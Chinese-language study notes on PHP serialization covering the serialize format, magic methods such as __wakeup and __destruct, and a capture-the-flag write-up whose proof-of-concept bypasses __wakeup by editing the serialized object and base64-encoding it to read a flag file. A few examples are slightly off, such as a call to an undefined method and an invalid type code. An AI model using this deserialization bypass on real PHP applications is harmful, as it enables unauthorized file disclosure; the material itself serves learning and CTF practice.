序列化
serialize()
將對象轉變成一個字符串便於之後的傳遞與使用;
序列化會保存對象所有的變量,但是不會保存對象的方法;
反序列化
unserialize()
將序列化的結果恢復成對象;
反序列化一個對象,這個對象的類必須在反序列化之前定義,或者通過包含該類的定義或者使用 spl_autoload_register() (自動包含類)實現;
例子
<?php
class Demo{
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
}
$s = new Demo('test.php');
$str = serialize($s);
echo($str."\n");
print_r(unserialize($str));
$sir = unserialize($str);
$sir->data();
?>
結果:
O:4:"Demo":1:{s:10:"Demofile";s:8:"test.php";}
Demo Object
(
[file:Demo:private] => test.php
)
sir
序列化格式:
布爾型:
b:value
b:0 //false
b:1 //true
整數型:
i:value
i:1
i:-1
字符型:
s:length:"value";
s:4:"aaaa";
對象:
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};
O:6:"Person":3:{s:4:"name";N;s:3:"age";i:18;s:3:"sex";B;}
數組:
a:<length>:{key; value pairs};
a:1:{i:1;s:1:"a";}
NULL型:
N
魔術方法
php 類中包含的一些以 _ 開頭的函數:
__construct
對象被創建時調用,但 unserialize() 時不會調用;
__destruct
對象被銷燬時調用;
__toString
對象被當做字符串使用時調用,返回一個字符串(不僅 echo ,比如 file_exists() 也會觸發);
__sleep
序列化對象之前調用此方法(返回一個包含對象中所有應被序列化的變量名稱的數組);
__wakeup
恢復反序列化對象之前調用;
__call
調用不存在的方法時;
反序列化漏洞
Web_php_unserialize
攻防世界Web_php_unserialize
poc:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$s = new Demo('fl4g.php');
$str = serialize($s);
echo($str."\n");
$str = str_replace('O:4', 'O:+4',$str);
$str = str_replace(':1:', ':3:',$str);
echo(base64_encode($str)."\n");
?>
結果:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==